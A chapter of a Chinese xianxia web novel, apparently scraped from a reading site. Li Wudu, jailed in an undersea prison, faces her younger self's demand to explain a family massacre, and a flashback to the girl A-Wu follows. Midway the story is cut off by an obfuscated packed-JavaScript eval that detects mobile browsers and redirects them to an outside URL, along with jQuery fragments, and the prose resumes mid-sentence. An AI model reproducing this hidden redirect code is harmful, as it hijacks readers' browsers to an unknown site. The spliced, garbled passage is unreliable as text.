玄渊牢,全称其实是海底玄渊极狱,是天宫用来关押穷凶极恶的邪修或魔修的,里面的犯人最后无一例外,都会被送上审判台处决。
而今天,厉无渡住了进去。
她盘膝坐在冰寒刺骨的牢中,睁眼望着暗黑无光的海渊之水在周围缓缓流动,脑海里猜测着少女厉无渡会在何时出现——“阿芜”的事还没有得到答案,所以她一定会来。
端看是什么时候罢了。
就在她沉思之时,袖中突然有什么东西动了动。
厉无渡一愣,这才想起来从离开九重塔第七层后便被因一直沉睡而被自己忘到了脑后的蛟龙。
果然,下一秒她袖口处便鼓动了一下,冒出一个袖珍蛟头来。
“……这是第八层?还是第九层?”它环顾一圈后,双目迷蒙地眨了眨,“塔灵把你关起来了?”
厉无渡无语地把它整条抖落出来,说明道:“我们已经离开九重塔了,不过因为出了点事,所以我目前被暂时关进了天宫的大牢里。”
蛟龙猝不及防下落到了玄渊牢的结界底部上,瞬间被表面极寒的禁制之力打得一个哆嗦,赶紧一边“蹭”地蹿回了厉无渡身上,一边怪叫道:“这什么鬼地方?寒气这么重,还有削弱和凝滞力量的禁制?”
它叫唤完,又看怪物似地看向厉无渡:“你怎么还像个没事人似的?正常人早该哭爹喊娘了吧?”
厉无渡面无表情地把它从自己大腿上拎起来,不过出于对契约灵宠的道义,犹豫了一下后,她还是没将它重新扔下去,而是学着辛夷的样子把蛟盘到了自己手腕上,然后淡淡道:“哭爹喊娘有什么用?我爹娘早死了。而且这点苦头算什么,你太娇气了。”
“我吗?”蛟龙不可置信地扭着脖子,“你说我?一条灵丹六转境界的蛟龙娇气?!”
厉无渡不置可否地瞥了它一眼,没那个心情和它斗嘴,但即便她什么都没说,眼神中那股肯定的意味也不言而喻。
蛟龙不爽地收回脖子圈在她手腕上,嘴里却还在小声嘟嘟囔囔:“别人要关你关我什么事,凭什么连累本大爷……明明好不容易出塔……”
它细长的尾巴尖甩动着,厉无渡嫌烦,怼道:“谁让你睡那么死,连点动静都没有,我都忘了袖里还藏着你这么个东西。”
“我……”蛟龙被她噎得一窒,半晌才又问,“那你现在打算怎么办?”
厉无渡望着玄渊牢外头无光的海底,眸光沉静如水:“等人来。”
“谁?来救你的人?”
她摇了摇头,嘴角一勾:“不,是想杀‘我’的人。”
她语气中隐含着宛若风暴前夜的静息,蛟龙看不懂人类葫芦里卖的是什么药,只好憋闷地闭上嘴,陪她在这海底深牢耗着,等那所谓要杀她的人出现。
……
死寂的海渊深处,时间仿佛也流逝得比外界慢上许多。
厉无渡盘膝闭目,在持续渗透骨髓的极寒中不知等了多久,才终于察觉到有人造访的动静。
她睁开双眼,少女厉无渡的身影已然立在了玄渊牢结界之外。此时她们两人之间相隔的距离并不算远,至少厉无渡能看清她脸上的每一丝表情。
“能神不知鬼不觉地潜入这里,小厉道友果然手段了得。”她率先似笑非笑地开口道。
少女厉无渡面无表情,一双漆黑的眸子里仿佛有鬼火在闪烁,透着令人心悸的幢幢暗影。
“温峰主如今已沦落至阶下囚的境地,竟还能硬撑出这副模样,也很了得。”
厉无渡哼笑一声,按住袖子里想要探头出来看热闹的蛟龙——没准过段时间这家伙能派上大用场,可不能现在就被发现。
她缓缓站起身,隔着结界壁与少女对视,没有丝毫被囚禁的狼狈,反倒像主人起身迎接不请自来的访客。
“这地方清净,无人打扰。”她嘴角勾起一丝极淡的弧度,“不正是你想要安排的谈话场合吗?”
少女厉无渡闻言面色骤冷,索性不再和她绕弯子,而是直截了当地问道:“‘阿芜’,告诉我你为什么会知道这个名字?”
厉无渡却平静地反问道:“我若说了,你就会收手,放过我吗?”
“当然。”少女厉无渡露出一个微笑,“所以温峰主请放心地说出来吧,我只是想要个答案而已,得到了,自然就不会再为难您。”
“撒谎。”厉无渡嗤笑一声,果断地拆穿了她,“无论我说与不说,你都没打算让我活着回剑宗,对不对?”
少女厉无渡:“……”
看出“温琼枝”眼中隐含的了然与戏谑,少女再抑制不住胸腔内翻涌的怒火,也不再掩饰自己视线里的杀意。
“好,”她向前迈了半步,几乎快要隔着结界壁和厉无渡贴上,“既然温峰主心中清楚,那便听我一句劝,若是你乖乖配合,把该说的都说出来,我或许还能让你死得痛快一点。”
“否则……”少女眼中暗光流动,在她们之间本就凝滞的气氛中又凭空丢下一道惊雷,“没有你在身边,你猜,我若是再向百里忍冬下魔种,他还能平安无事吗?”
厉无渡瞳孔一缩。
一直紧盯着她的少女厉无渡并未错过仇人这短暂的失态,她如同发现猎物要害的野兽一般,两只眼睛中瞬间放射出兴奋的光芒。
“哈哈,果然!”少女露出了一个掺杂着森森恶意的笑容,“他身上的魔种是你给祛掉的!温琼枝,虽然不知道你到底有什么秘密和手段,但若是不想你那宝贝徒弟出事,就快点告诉我——”
“十二年前,你到底为何屠我满门?!”
话音落下,牢笼内外便只剩一片令人窒息的死寂。
厉无渡收敛了神色,先前所有的从容和对年少自己的刻意逗弄尽数消失。
这个问题是她掩埋在尸山血海之下、早已腐烂发霉的过去里,唯一不可被掘出的骸骨;也是她前世在仇海毒火里翻覆煎熬数百年,日夜不断于心中诘问的心魔。
她知道,能问出这个问题,就证明少女厉无渡已然彻底下定了决心,今日无论如何,她都要弄清楚当年那场血案的真相。
削弱禁制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925274|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的压力混合着少女身上散发出的、冰寒刺骨的杀意与探究,深沉地包围了厉无渡。
她看着这一世还在复仇之路上苦苦攀援的“厉无渡”,恍惚间竟觉人生命运际遇之奇妙——谁能想到,这一世的她,竟要从上一世的她口中得知这一切的真相?
厉无渡蓦然又笑了,她回忆起上一世自己以大阵坑杀温琼枝时,从她体内搜魂,回溯出父母被杀那时的真相,缓缓启唇道:
“好,我告诉你。”
……
十八年前,凡间。
在远离都城的山野里,有个小山村,而在离山村也有一段距离的山口处,住着一名猎户。
猎户靠着自己打猎的本事,攒了比村里其他人都丰厚的聘礼,娶回了村子里最美的姑娘,然后,他们生下了一个集合了父母所有优点继承的女儿。
夫妇俩给女儿起名,叫阿芜。
因为在冬天大雪封山的时候,他们家赖以生存的食物,便是芜菁。它生长相对迅速,耐寒耐瘠,块根和叶子都可食用,可以在粮食短缺时保证基本的生存需求,还会开出一簇簇小小的、但十分可爱的黄色小花。
所以,这对肚子里没什么墨水的平凡夫妇便以此给自己的女儿起了名,希望她能像芜菁一样,有着坚韧顽强的生命力。
在修道者看来,一个人的名字是奠定他在这世间存在的第一个证明,因此冥冥中,姓名对人的约束力也是最强的,凡是誓言或诅咒,都离不开人的姓名。
而厉无渡后来的经历,似乎也验证了这一说法——她的确如父母所期盼的那样,艰难无比,却又坚韧无比地活了下去。
阿芜长到六岁那年,家里来了位特殊的客人。
那时刚刚勉强突破灵丹五转境界,达到了接任峰主门槛的温琼枝出门游历,寻找能让自己境界彻底稳固或者再进一步的机缘。
路过凡间这片山林时,她忽然似有所感,原本并未向下细看的她停下御剑,将视线投了下去,然后便发现这处凡间山脉的走势看似平凡,却暗合地脉,藏风聚气,尤其是她正下方的这处小小山坳,竟隐有汇聚生发灵气之象。
“此处有些意思,或许暗藏着什么宝物。”温琼枝眸中掠过一丝兴趣,随后便心念微动,剑光一敛,悄无声息地落入那处灵气汇聚的山坳附近。
甫一落地,清新的草木气息便混合着泥土的芬芳扑面而来。在山脚下溪涧的不远处,是一座依山而建的木屋,屋后开辟了一小块菜地,几垄芜菁开着星星点点的小黄花,院子一角还堆着些晒干的兽皮和劈好的柴垛。
打眼看去,这户人家住得虽然简陋,但收拾得却很干净利落。
然而比起这些微不足道的凡间事物,温琼枝更在意那股若有似无的奇特气息。
这气息极其微弱内敛,饶是温琼枝放出神识仔细探测了数遍,也仍旧难以定位其准确所在,甚至无法辨明其性质——不似灵物法宝,亦非妖邪精怪,更不是寻常凡人或低阶修士能够散发出的。
但它能引动身为修士的自己的灵觉,必然不是凡物。